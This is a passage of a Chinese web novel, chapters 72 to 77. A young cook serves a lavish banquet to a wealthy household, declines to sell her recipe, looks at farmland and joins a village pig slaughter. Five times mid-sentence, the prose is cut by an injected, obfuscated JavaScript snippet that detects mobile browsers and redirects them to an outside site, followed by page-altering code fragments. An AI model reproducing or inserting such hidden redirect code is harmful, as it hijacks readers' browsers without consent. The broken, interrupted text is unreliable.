这几道菜一做出来，便是谁也再不敢小看卜霜了，张娘子脸上又红又绿的，心里虽然不服气，但是却什么也说不出来了。 那些丫鬟和小厮们早就忘记了之前的嘲笑，看着那几道热菜目瞪口呆的。 “这卜掌柜年纪轻轻的，居然真的会做这么多好吃的菜。” “是啊，这种席面就是招待达官贵人们也是绰绰有余的了。” 他们低声议论着，卜霜继续心无旁骛的做菜。 何府各类食材应有尽有，就是没有虾爬子，镇上也买不到，可下面要做的这道龙井虾仁是要用虾做菜的。 卜霜想了想，既然何府厨房里没有，那她就回家取。 卜霜便叫小丫鬟把管家喊来，和管家大概得说了一下，她需要管家派个小厮去村里找赵昭明，让赵昭明带着小厮去卜家院里捞一些虾爬子送回来。 管家一听虽然不太相信何府没有的食材她家里有，但是小公子去前厅之前已经吩咐过他了，席面上的一切要听卜掌柜的安排，而且席面时间紧，于是管家立刻便派了小厮加紧去捞回那虾爬子。 小厮把一筐虾爬子取回来后，卜霜把这些虾爬子按照上次在村里做麻辣虾时的方法拨出虾仁，然后放入蛋清，淀粉，盐搅拌到上浆，再用冰镇着。 紧接着她要了一些上好的龙井茶，用热水冲泡滤出茶汤，茶叶沥干好还要备用。 热油下入冰镇好的虾滑，用油炸到变色后捞出，然后重新放入虾肉和龙井茶汤，加入盐快速翻炒，勾芡后再放入茶叶炒匀。 龙井虾仁就做好了。 接下来的松茸煨豆腐是一道素菜，所以不能用荤油。 豆腐切块，沸水加盐后焯水去豆腥味，然后捞出豆腐沥干放入锅中煎到两面金黄。 下一步是做素的高汤，将干松茸，黄豆芽，香菇根，清水煮一个时辰后，把锅里的渣都取出来，再将煎豆腐和松茸片放入砂锅中，加入做好的素的高汤炖煮，放入盐，松茸粉，白胡椒粉调味，最后放入淀粉勾芡，再撒入芹菜末提香。 到此为止所有的热菜都已经做好了。 厨房里弥漫着各种香气，每一道菜都色香味俱全，让人垂涎欲滴。 厨房里的人都被这些菜的香味心神不宁。 张娘子的脸色很是难看。 凉菜热菜都做好了，接下来就要做主食。 卜霜准备了三样主食，有包子，有大米还有面。 这样上桌后，客人们就可以选符合口味的主食了。 这蟹黄汤包，不同于镇上买的大肉包，它里面是有汤的，吃的时候要先喝汤后吃馅。 既然有汤，先要做汤冻。 卜霜将猪皮焯水去脂后切条，加入姜片，料酒，清水，小火熬到出胶后倒出。 蟹黄加蟹肉炒香，和猪皮汤混合，用冰镇的汤凝固后切块。 面粉加盐揉成面团，醒发后将面团擀薄皮。 接下来是做包子馅，特别要用猪前腿剁成肉，加入姜末，生抽，糖，白胡椒粉搅拌，最后在馅料里放上汤冻。 然后就要包汤包了，这个就和做包子差不多，每张面皮放入馅料后收口，蒸锅里放入玉米叶，包好的汤包就放在上面蒸。 节省时间，卜霜同时蒸着碧梗米饭。这碧梗米细长微绿，煮过之后油润清香，和一般的大米不同，达官贵人们都很喜欢吃这种米饭。 最后一道火腿鲜笋汤面，要先把腌制的火腿泡水去咸味，然后用火腿，猪筒骨，老母鸡，干贝下锅炖两个时辰炖成汤。 鲜笋切片焯水，火腿切块。 火腿放入锅中煸炒出油，加笋片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446565|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翻炒，再加入黄酒增香。 面条煮到八分熟后捞出来，过冷水后，再放入沸水中烫一下。 最后小丫鬟端过一些何府宴请客人时用的精美瓷器，卜霜把面条捞进去，浇上高汤，表面铺火腿，笋片，撒上葱花，滴上香油。 今晚席面所做的所有的菜就都做好了。 何小公子不是想要新奇的席面吗，卜霜敢说，她这桌子席面，新奇，讲究，美味，他再找不出第二个能做出这样席面的人了。 待会儿这席面上了，保准客人们一定会非常震撼。 正好这时管家来了，说是客人们都到了，老夫人说可以上菜开宴了。 “卜掌柜，你的菜都做好了吗？” “都好了，端出去吧。”卜霜就道。 这下厨房里的丫鬟小厮们都不敢再躲着了，流水似的将卜霜做好的菜都端去前院。 待席面上的菜都端出去，众人回了厨房便一个个都围在卜霜身边，眼睛里满是羡慕和敬佩。 “卜掌柜你好厉害，要不是我亲眼看着，还以为这是哪里请来的酒楼大厨做的呢。” “府里以往请了多少酒楼大厨啊，卜掌柜的厨艺可比那些酒楼大厨高多了，就是自己开酒楼都没什么不可以的。” 众人都点头。 不多时，管家又进来了，这次的语气恭敬很多。 “卜掌柜，老夫人看了席面后很满意，想见一下你。” 卜霜早就猜到了，叫上帮着打下手的小丫鬟拿上调好的糖醋料汁，就跟着管家出去了。 何府很大，卜霜跟着管家走了一会儿到了举办宴席的地方。 忽略满席客人的目光，卜霜直接看向主桌，老夫人就在那里坐着。 席面还没有动，看来老夫人见多识广，一眼就看出这菜还不算真正的做好。 “这位就是我孙儿今日请来做席面的大厨卜掌柜了。”老夫人向客人介绍完卜霜，又转头朝她笑眯眯道，“卜大厨，这道糖醋鱼可以开始做了。” 第73章 厨艺惊人 “老夫人果然好眼力。” 卜霜微微一笑，然后从小丫鬟手中接过调好的糖醋汁，然后当众浇在那鱼身上，只见汁水一浇上去立刻传来噼里啪啦的响动，那鱼尾翘起，配着这声音活灵活现的，仿佛这鱼还活着一般。 她这招可谓是技惊四座，周遭客人也都是**便享美味的，哪里见过这样的惊艳的菜，竟然不是一次性做好的，而是在桌上完成最后一道，竟能将鱼做的如同活鱼一般。 立时宴席上便传来一片叫好声。 何喻昌看的瞪大了眼，惊叹着看向卜霜。 他就知道自己慧眼识人，果然没看错人，请来卜霜做这桌子席面实在是太有先见之明了。 老夫人鼓了鼓掌，闭眼闻了闻那菜的滋味，赞赏的点头：“不仅颇有新奇，而且这道糖醋鱼色香味都是上等，是道好菜。” “卜掌柜，不知你如何想到做这道菜的，是有什么寓意吗？” 卜霜走出来，便介绍道。 “这鱼讲究一鱼三吃，糖醋，奶汤，红烧，糖醋为首，何老夫人的宴席上定然来的都是身份，我就做了这道糖醋鲤鱼，先闻声后见鱼，寓意鱼跃龙门。” “妙，妙极，老夫人，您的孙子真是请回了一位妙人，今日这场宴席可真是让在下大开眼界。”宴席上坐着的一位客人闻言夸赞道。 “我听着也甚是有趣，卜掌柜，我见你做的这些菜好些都是我没有见过的，都叫什么名字，给我们大家听一下吧。”老夫人笑呵呵道。 卜霜便一道道的介绍起来： “这四道凉菜，风鸡，腊鹅自是不用多说，各位见多识广一定常见，寓意风调雨顺，这第三道菜名为水晶肴肉，因为猪蹄腌制后其肉质晶莹如水晶，搭配镇江醋解腻提鲜，才能发挥它最大的香味。” 老夫人便命人夹起一片肉放在眼下细看，点头道；“不错，这肉又薄又透明，在光下真的像水晶一般。” “这第四道菜名糟鱼，最配美酒，遭香透骨，所以又名叫醉鱼。”卜霜继续道。 大家便笑起来。 “这道菜名八宝鸭，鸭腹内藏八珍，分别是糯米，莲子，火腿，冬菇，笋丁，栗子，银杏，虾仁，干贝。”卜霜看向老夫人，“寓意也是极好的，象征富贵团圆。” 老夫人便笑着看向何喻昌，显然是十分宠溺孙儿的。 “那这道菜呢？”有人指着其中一道菜问。 “这道菜名樱桃肉，因其肉块红如樱桃而得名，甜咸合度，《随园食单》中记载色乳琥珀，味酸甜，我也是根据古**载还原的这道菜。” 这个是时代的人对读书人都是多有敬意，一听她这样说，态度便更加和善了。 “哦？原来卜掌柜还识字读过书。” “是会一些，不过比不得各位。” “卜掌柜既然能还原古书中的菜，那一定是很很有学问的。” “这道菜各位可能都不知道了，名龙井虾仁，是由虾爬子和龙井茶做的，虾爬子各位可能都没吃过，也是一种河鲜，坊间说它不能吃，其实处理得当后肉质鲜嫩无比，加上茶香清雅，口感是十分值得一试的。” “这道松茸味豆腐是山珍和豆腐做的，取清白修身之意，又名白玉佛跳墙。” 老夫人如今看卜霜也变的更为亲近，问道。 “什么是佛跳墙。” “也是一道菜，以后若有机会我再做给何老夫人吃。”卜霜道。 何老夫人笑着道好。 “这道菜叫鹿筋烩冬笋，鹿筋胶质丰润，冬笋也有节节高升之意，正适合各位客人。” 老夫人忽然眯了眯眼睛：“如果我没记错的话，这道菜可是宫廷御膳啊，山八珍之一，卜掌柜，你是位高人，厨艺高超，又读过书，又会还原古菜，还会做御膳。” 卜霜暗道自己大意了，没想到这何府的老夫人竟连御膳都知道。 “不是什么大本事，各位客人请看这里。”卜霜急忙跳转话题，“主食我一共为各位客人做了三道，这蒸笼里的名叫蟹黄汤包，乃是用蟹黄蟹肉做的内馅。” 有人看着那包子惊叹：“这包子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446566|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮看着和寻常包子不一样。” “您真是好眼力，不仅如此，我做的这这蟹黄汤包食用时是有特定口诀的。” “吃饭还有口诀，这倒是，卜掌柜，是什么口诀啊。”众人都觉得有趣。 卜霜夹出一只蟹黄汤包，边念口诀边用筷子和勺子给众人做示范。 “各位可听好了，口诀就是轻轻提，慢慢移，先开窗，后喝汤。” 她用筷子在包子皮上戳开一个，然后用勺子包子，吸了一口，给众人看里面溢出来的汤汁。 “难怪叫蟹黄汤包，这包子里竟是有汤汁的。” 卜霜笑着点点头，又给介绍下一道。 “这是碧梗米饭，就不多说了，但是这道火腿鲜笋面，可不仅仅是普通的汤面，它是以猪骨，老母鸡，香菇，冬笋，鸡蛋，火腿多种食材做辅料，熬制出的高汤搭配银丝面，鲜香醇厚，汤清味美。” “这三道主食各位可以任意选择。” 她说完，老夫人便让开宴了。 众人早听的口水直流，卜霜厨艺惊人，做这顿席面她又费了心力，每一道菜自然都做得精致可口，他们迫不及待就动起了筷子。 那水晶肴肉入口清凉滑弹，猪蹄胶质醇厚，入口即化，配上镇江醋的酸辣，让人越嚼越香。 风鸡咸香紧实有嚼劲，腊鹅肉质扎实，脂肪丰腴，混着桂皮八角，柔嫩多汁。 糟鱼酥到骨头，鱼刺都是能吃，肉质带着酒香，十分细腻，鱼香四溢，入口即化。 糖醋鱼外皮酥脆，肉质鲜嫩，浇上特制的糖醋汁，酸甜可口。 八宝鸭鸭肉酥烂，八宝馅料黏糯油润，香甜交织，一口下去，香气在口中绽放。 樱桃肉肥而不腻，甜味比红烧肉更突出，味道诱人。 龙井虾仁脆嫩弹牙，清香微涩。 松茸味豆腐外皮微韧，内里滑嫩，松茸的浓郁渗透豆腐里，鲜到让人咂舌。 最为惊艳的还是鹿筋烩冬笋，鹿筋胶质黏腻，冬笋脆嫩，汤汁奢华鲜美。 第74章 卤味方子 蟹黄汤包汤汁丰富，内馅颗粒分明，蟹黄蟹肉鲜甜，混合汤汁的油润，沾上醋之后更加提鲜。 碧梗米饭自带香气。 火腿鲜笋汤面，汤轻如茶却浓郁非常，笋片脆嫩，面条筋道，火腿咸鲜，吃一口面再喝一口汤，香的客人们都找不到舌头在哪了。 今晚的这一顿席面，新鲜，美味，整个县城都找不到可以和这一桌席面媲美的宴席了，而且卜霜还颇有新意，祝词丰富，即便何老夫人的客人们里有商**亨，也不乏达官贵，但是都被这顿席面征服了，客人都吃的十分满足，宴席上言笑晏晏，都宾至如归。 散了宴席后老夫人留下卜霜和何喻昌，又特意把厨房里做事的人都叫过来。 老夫人客气的请卜霜上座，卜霜也没推辞，就坐下了，对面就是何喻昌。 老夫人很满意，对着何喻昌夸道，“喻昌啊，做得好，你如今办事是越来越稳重了，你爹要是知道了肯定也会夸你的，你今日请回来的卜娘子可不是一般人，你是从哪认识的卜娘子，又是如何想到请她来做席面的？” 何喻昌被夸了，挺起胸膛十分骄傲的样子，迫不及待描述道：“祖母，我曾经和你提起过卜掌柜的，她就在我们镇上开了一家食铺子，叫卜记食铺，不过专售卤味，我之前排队买回来祖母说过好吃的那些卤味就都是从这里买的，您也知道我这舌头从小就叼，一吃就知道卜掌柜厨艺也一定不一般，然后我就到处打听，果然从卜掌柜村里的邻居那里知道了她厨艺出名的好，而且今日就办过宴席，所以就请来啦。” 何喻昌想到什么，又撇了撇嘴，“祖母你别看她长得白净乖巧喜人的，她这人啊是我见过最不懂的变通的人了，我那日要预定几斤卤味第二日来取，她偏不让，让我第二日排队去买，每人还限量，我那天天不亮就起来了排队了，结果我过去的时候她倒好，人还没来呢，我在寒风里等了许久，可受了罪了。” 卜霜看着何喻昌那别扭的模样，不知怎么的有些想笑。 她起身，就朝何喻昌行了个礼，道：“何小公子，新店开业总是要如此的，对不住了，给你赔礼。” 何喻昌这才满意，却憋着不笑，大度的挥了挥手，“行了行了，我才不和计较呢。” 老夫人笑着看着他们俩斗嘴，经过何喻昌的提醒想起了，转头对卜霜道：“原来我早就尝过卜大厨的手艺了，前些日子我这孙儿买来好些卤味献宝似的拿来给我尝，那些卤味我可爱的紧，每日餐桌上都要放一小碟就着吃呢，之前还和我孙儿打听过什么人能想出这种好吃食，原来那些卤味也是卜娘子做的，卜娘子聪明过人，在这食物上的种种想法可真是让我惊喜。” “这不算什么的，老夫人喜欢就好。”卜霜浅笑。 老夫人笑着让管家把剩下的二十两银子送到卜霜身前，品了一口茶，闲话家常般道：“卜娘子如此厨艺为何只做了一家售卖卤味的小食铺子呢，照我看只要你愿意，镇上的酒楼都会很需要一位新大厨的。” “酒楼的大厨？”卜霜摇摇头，“那有什么好的，我是不甘心只卖卤味，但是我手里没银钱，没有办法开饭庄，卤味铺子盈利尚可，我就准备先从这个做起，不久可以在食铺子里再加卖其他的菜，等我赚够了钱，打出了名声之后，就开一家属于自己的酒楼，这不比做大厨有意思多了。” “卜掌柜好志向！”何喻昌听着就有些激动，一拍桌子赞道。 卜霜猝不及防被惊了一跳，这何喻昌怎么一惊一乍的。 她继续道：“当然比起何家所做的生意来说，我这些只不过是一些乡下人的小打小闹，不值得一提。” “以卖卤味赚的钱去开酒楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446567|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，是个好想法，可到底辛苦。”老夫人道，“不瞒卜娘子，我们何家也有一些酒楼饭庄的生意，卜娘子的卤味味道好，还是新鲜吃食，要是能放在我们的酒楼和饭庄里当成前菜开胃肯定是很受食客追捧的，不如卜娘子将这卤味的方子卖给我们何家，我们何家愿意出两百两银子买卜娘子的卤味方子，有了这笔钱，卜娘子手里就有了一笔现银子，也就不用那么操劳了，你觉得如何？” 何老夫人竟是这样打算的，想要一次买了她的卤味方子，在自家产业里做着卖。 卜霜听后沉吟了片刻。 平心而论，何老夫人为人直爽，并不是如同镇上其他精明的商人一般想用哄骗她卖卤味方子，老夫人是真的看好她做的这卤味在酒楼里的市场，也确实对她的厨艺很是欣赏，所以给出的价格也很多。 卜记食铺如今每月净收益有三十两银子，如果要赚够二百两银子，她就要在铺子里操劳大半年，卖的卤味才能赚得到这么多钱。 而如今她只要卖一个方子，短时间内就能有这笔巨款，何老妇人此举恐怕除了想买她的卤味方子外，也确实存了要帮她一把的心思。 可真的要把卤味方子卖了吗？ 何家买了卤味方子，肯定是要用这些卤味打造出何家酒楼优先于其他酒楼饭庄的菜品来，那她的铺子以后自然是再不能卖了。 可她卜记食铺卤味的名声现如今已经打出去了，每日生意都很兴盛，就算以后开始售卖别的菜，来她铺子里吃饭的食客恐怕一时半会还是冲着她铺子的卤味来的，如果这个铺子里最大的招牌没了，食铺子的生意恐怕就没那么好做了。 得了钱，但是没有了如今最大的招牌，这对她来说并不算一个很划算的买卖。 “这个卤味方子。”想通了之后，卜霜缓缓道，“我不能卖。” 第75章 买地 何老夫人听到卜霜不愿意卖方子，虽然有些惊讶，但是并没有气馁的神情，而是有些好奇，问道：“为什么呢，是价钱不合心意吗？” 想起卜霜两次对他的拒绝，以及第二次他是如何说服的卜霜，何喻昌一丝犹豫也没，就道：“你不满意的话，我们可以再加钱。” 见他们都以为她是价格方面不满意，卜霜便道： “老夫人，我并不是想提高卤味方子的身价，你们出的价很公道，甚至比市场价多多了，我也确实很心动，但是我的卜记食铺只需要细水流长的做下去就可以，如你们所见，我很聪明，可以想出卤味方子，之后也可以想出别的方子，我有的是办法赚够钱做我想做的事，不需要变卖方子。”这话她说的很是狂傲，却又自信满满，看起来会发光。 老夫人听后非但没有任何不高兴，还哈哈大笑起来，神色间对卜霜也更加欣赏起来。 “好。”何喻昌也是猛地站起来，一拍手，激动道：“我还第一次遇见像我一样的人，卜掌柜，你可太对我的脾性了，今日就是生意做不成，你这个朋友我也交定了。” 她怎么就和这位小公子是一样的人了？ 卜霜很是疑惑。 老夫人笑呵呵的瞪他：“看你这样子，****躁躁的，快坐下别吓到卜娘子。” 卜霜却话头一转，“何公子有一句话说的不对，我确实有一笔生意想和老夫人谈。” “哦？”老夫人很感兴趣，等着她说下去。 “卤味方子虽然我不会卖，但是如果老夫人真的想把放卤味在何家的酒楼庄子里卖的话，我倒是还有一个办法。” “是什么啊？”何喻昌急问。 “我可以将我做的卤味，每日送一些给何府名下的酒楼里售卖。”卜霜又道：“这样一来，我还是照常在卜记食铺售卖卤味，但是何府的酒楼饭庄以后也可以给食客上这新鲜卤味拉拢食客了。” “你是想和我们酒楼合作，把卤味寄送到我们酒楼里售卖？”何喻昌问道。 卜霜却摇摇头：“不是合作，送到何府的卤味，我只要成本价。” “为什么啊，给你钱你不要，这样不是亏了吗？”何喻昌疑惑道。 卜霜道：“何小公子刚刚不是说想和我做朋友吗？” “对啊。”何喻昌点头，不明白她为什么又提到这件事了。 “因为我也想和何府交一个朋友，我需要何府帮我一件事。”卜霜道。 老夫人就问：“卜娘子有何难处？” “对啊，卜掌柜你有什么需要帮忙的就尽管和我说，我肯定会帮你的。”何喻昌想也不想就道。 听了这话，卜霜深深的看了何喻昌一眼。 没想到这位小公子还真是个热情的，听都不听就说愿意帮她的忙。 喜欢谁就对谁好，这样的性情如果不是何府这样的家庭，恐怕不知道让人骗了多少次了。 但是卜霜喜欢这样的人，她对何喻昌就有些改观，顿了顿，接着道。 “我有了些积蓄，想要买地，想借何府的门道买地。” “就这个啊。”何喻昌还以为是什么呢。 “买地和买其他的东西不一样，何府良田千顷小公子不知道，百姓买地不懂行的话是很容易被骗，我是想何府认识的人多，牙侩也靠谱，我想知道附近有什么好地正在出售，带我去看一看。” “这有什么难的，我这就把我们家常用的牙侩给你叫过来，你有什么问他，他带你去看。”何喻昌便一招手，管家向一个小厮交代了两句，看他急匆匆的出去了。 卜霜转头看向何老妇人。 何老妇人点点头，“那牙侩的父母就在何府里做事，何府的田往日都是他给买的，这个人能干稳妥，耳目也灵通，就交给他吧。” 卜霜就道：“谢谢老夫人。” 何喻昌不干了，叫嚷道：“我给你找的人，你怎么不感谢我啊。” 卜霜笑道：“也谢谢何小公子。” 过了没一会儿，就见那出门的小厮领了个人进来。 那牙侩和众人见了礼后问道：“好地有很多，不知道卜娘子是想买哪里的地？” 卜霜就道：“武安村附近。” 牙侩点了点头，“卜娘子要买多少呢？” “这个还没想过。” 牙侩想了想，道：“我知道几家，卜娘子不忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“什么？” 下一秒，何喻昌便从她旁边挤出头来。 他和卜霜从同一个窗户看出去。 卜霜又被惊了一跳：“何小公子，你...” “怎么了？”何喻昌转头看她，神情很是欢喜。 第76章 杀年猪 卜霜看着他兴奋的样子就说不出什么了，话音一转；“你从小在这里长大的，没见过雪吗？” “见过啊，不过只在小的时候见过一回。”何喻昌眼睛亮亮的看着窗外雪景，继续道，“我幼时就跟着父亲**的做生意，搬回来镇上不久，还没有一年，所以我已经好久没见过下雪了。” 卜霜便不再说话，跟着他看着窗外。 何喻昌不是个话少的，趁着这个机会便喋喋不休起来。 “而且这是今年的第一场雪，入了冬这都多久了，眼看就要过年节，我还以为今天冬日不下雪了呢。” “瑞雪兆丰年，今年的雪下的多一些，开春后雪都化了渗入地里，明年地里的收成就会好，我买的地也就好耕种了。”卜霜伸着手继续接着从空中落下来的雪粒，脸上扬起一抹笑容，眼里都是对之后好日子的畅享。 起风了，卜霜觉得有点冷，就放下车帘，一回头就见何喻昌正在看她。 “何小公子，你看着我做什么，我脸上有东西吗？”卜霜奇怪的摸摸自己的脸。 何喻昌眯了眯眼睛：“不对啊，你怎么还叫我何小公子呢，你在何府的时候不是也说想和我做朋友吗？” 那不是为了和何府攀上关系，好提买地的事吗，她哪里是真的想和这个富贵小公子做朋友。 再说了，她当时说的是想和何府交个朋友，又不是和他交朋友。 卜霜笑了笑，没有说话。 何喻昌哪里是好糊弄的，就急道：“我不管，你都答应了可就不能食言。” 卜霜无奈：“那我不叫你何公子，能叫你什么？” “随便啊，你就叫我何喻昌或者和我朋友一样叫我喻昌就行。”何喻昌看她一脸不情愿，自顾自道，“总之我以后就叫你卜霜了。” “卜霜。”他探着身子，对着卜霜喊了一声，看着她的表情像是找到了什么新的有趣的好玩的，笑的很是开心。 忽然车夫一拉疆绳，车厢一阵晃动，何喻昌探着身子，身边又没抓着什么东西，一个不防向前扑去，就要撞到卜霜身上，说时迟那时快，只见卜霜一个闪身，眼疾手快的躲到一旁。 何喻昌的头就磕在了车厢上。 “哎呦。”何喻昌捂着头惨叫，“你怎么还躲一边去了，疼小爷了。” 卜霜笑着撩起帘子下车：“不躲给你当肉垫啊。” 原来马车已经到了青山村，牙侩跳下车，紧接着回身去扶何喻昌。 “去去去。”何喻昌捂着头，把他赶去一旁，自己跳了下来。 现在雪已经下的更大了，变成了一片片的雪花。 牙侩领着两人来到要卖的地前，指给卜霜看。 “卜掌柜请看，这地是青山村里一个大户家里的地，我之前就看过，以我做这行这么多年的眼力，可以和卜掌柜的保证，这都是上等的地，买来种庄稼是再好不过的。” 卜霜看了看，田地方面的东西她也不懂，但是既然是何府介绍的牙侩，一定是靠谱的，她便点点头问道：“田主一共卖多少亩地。” “一共有二十亩地，每亩三十两银子。”牙侩道。 三十两银子每亩，一共二十亩地，就是要六百两银子。 六百两！ 卜霜瞪大了眼睛。 这也太贵了。 卜霜咂舌，便前前后后转着看，发现地旁边不远的地方有一条小溪，此时已经结了冰，但是等冰化了，这片地种庄稼时用水就很方便了。 难怪会卖这么贵，确实是物有所值的。 牙侩看出卜霜脸上的犹疑，又道：“卜掌柜若是没有这么多现银，也可以分开买，只买十亩也可以。” 卜霜想了想，以她现在的积蓄，加上刚从何府得的三十两银子，也只够买几亩地的。 可是这一大片地实在是好，她都想要。 “不如我们再看看别家的地？”牙侩看她不说话，就提议道。 卜霜点头。 接下来牙侩带着两人又去了别的几家，看过之后，虽然那些地都要便宜很多，但是都不如第一家的地好。 连着看了几家地，何喻昌也看出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461865|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了些门道，对卜霜道：“你别看了，我觉得这些地都不如青山村的地，你还是买那家的好。” “我也知道啊，可是我没钱买啊。”卜霜很无奈。 没钱？ 何家最多的就是钱了，何喻昌活到现在，何曾没钱过，这个对他有些难了。 “那我们让那田主再卖的便宜点？” 再便宜又能便宜多少呢，她不还是买不起。 卜霜看着他无奈的摇头，转身和牙侩说，让他帮她把那地再多留些时日。 她只能多想些赚钱的法子了。 眼看天要黑了，雪也越下越大，几人只能准备回了。 日子一日日过去。 眼看不久之后就快过年节。 村子里也开始都忙活起来，有那勤快的已经开始买年货了。 卜霜早早去了卜记食铺开了店门，派人把当日供给何府的卤味都送走，然后对荔香笑道：“听说村里人今日就要杀年猪了，你父母要是杀年猪肯定要你回去帮忙，今日等卤味卖的差不多了，你就先回去吧，我留下来收拾。” 村里人养了猪的，会在年前杀猪，割下来猪肉屯着等年节时打打牙祭，没有养猪的也会在这日杀年猪时过去买一些留到年节时的餐桌上，一年到头来唯一能吃得到荤腥的日子， 渐渐地，杀年猪这日就变成了一个大日子，很多人都会挑这日买肉买年货，街上还有表演，可好玩了。 荔香听卜霜这么说很是感动：“不用掌柜的，我们家没养猪，我回去的时候只要买一些好肉就行了，掌柜的你” 卜霜自然不急，她有肉铺掌柜的渠道，肉铺掌柜早早就邀请了今日去他那里一起杀猪了，说要把杀年猪时挑最好的猪肉留给她，她回村时去取就行。 “既然你们家没猪，那就和我一块去买吧，都是好肉” “行。” 关了铺子，卜霜就和荔香去了肉铺掌柜那里。 只见人很多，有也被邀请来杀年猪的，有等着买肉的邻居，围了一圈。 空地上烧着水， 第77章 做牙刷 卜霜一听说荔香要买肉，就道： “就是有好猪肉杀年猪的时候他们也都给家里人了分走了买走了，你今天去外面的摊子上是买不到好猪肉的，肉铺掌柜家的猪要比外面卖的猪肉好吃的多，关了铺子之后你和我一起去他家买吧，他家肉的品质，年节的时候吃绝对香。” “行。”荔香知道卜霜是在照顾她，忙点头，手下的计干的也更加利索起来。 卖完了卤味，关了铺子，卜霜就和荔香赶着牛车一道去肉铺掌柜家里杀年猪了。 到了肉铺掌柜家一看，果然热闹。 肉铺掌柜平日里卖的猪就肉质好，膘肥肉厚，膻味也不重，所以今日慕名来他家买肉的人就来了好多人，院子的空地上烧起一大锅水，大家伙在猪圈里抓猪，来来**的抓不住，还被溜得开了猪圈门，猪圈里的猪一涌而出，在院子里撒开蹄子四散着跑，人门在整个院子里上蹿下跳的。 看着这个场景很难不被这闹哄哄的场景感染，卜霜和荔香也跟着捂着肚子笑的停不下来。 肉铺掌柜一见她来了，擦了擦手满身是汗的跑来。 “哎呦卜掌柜你来了。” 他见过如今在卜记食铺做工的荔香，两人互相行了礼。 卜霜笑着撸起袖子道：“看来我们来的正是时候，荔香，我们快给掌柜的把这猪都抓回去。” “哪能真让卜掌柜动手呢，这么多人不打紧的。”肉铺掌柜急忙拦住，他们又笑了一阵。 众人终是把猪都赶回了，他们各有分工，边干活边聊天，聊着聊着，不知道是谁开的头，大家伙就开始唱歌。 当看着妇人们笑起来唱歌的场面时，卜霜才真正感受到了为什么杀年猪这日会这么重要，在离年节不远的日子里，他们歌唱着的是富足，丰收。 杀完年猪后，众人开始闹哄哄的买猪肉，趁着别人不注意肉铺掌柜压低声音对卜霜道，“卜掌柜，一会儿跟着我来，最好的猪肉都给你留着呢。” 肉铺掌柜是真感激卜霜。 卜霜猜到他给她留的猪肉一定不少。 但是肉铺掌柜偷偷摸摸的带她进厨房后，卜霜傻眼了。 足足五十斤的上好猪肉。 她也想不到会给她留这么多猪肉啊。 卜霜来之前还盘算着给赵姐姐和聂家也带一些好猪肉回去，这下不用了，三家吃都吃不完。 所以当天晚上，就见卜霜赶着牛车回家，车上带回来了几十斤的猪肉。 万路他们目瞪口呆的把猪肉搬下来，该分的分，该放的放，卜霜让几个孩子把猪肉送去赵家和聂家，就开始忙活着做饭。 村里家家户户都飘出来了肉香味。 那难得的香味让大家伙都很开心，人人挂着笑脸，到处充溢着欢乐的氛围。 既然割了这么多猪肉，今晚的晚饭自然就要吃猪肉。 卜霜先在院子里把猪毛清理了，然后把五花肉切块，冷水下锅，加料酒，姜片焯水撇去浮沫，然后捞出猪肉。 紧接着她在锅中放入白糖炒糖色，然后把五花肉快速倒入，翻炒均匀，让每一块猪头都裹上糖色。 之后再锅里放入姜片，葱段，八角，香叶，桂皮，加入清水没过猪肉后用大火炖煮，直到将猪肉炖的酥烂。 估计着炖煮的差不多了，卜霜揭开锅盖，浓郁的香气飘了出来。 万萱趴在一边盯着锅里炖的肉咽口水。 卜霜就笑着夹了一块瘦肉吹了吹，喂到万萱嘴里。 红烧肉一入口，万萱便陶醉的眯了眯眼，她蛄蛹着，用全身上下表达着好吃。 “太好吃了娘。” “我也要吃我也要吃。”万辽送完猪肉一回来就闻到了自家院子里飘得肉香味，听到厨房里的声音，跑进来看，缠着也要尝一块红烧肉。 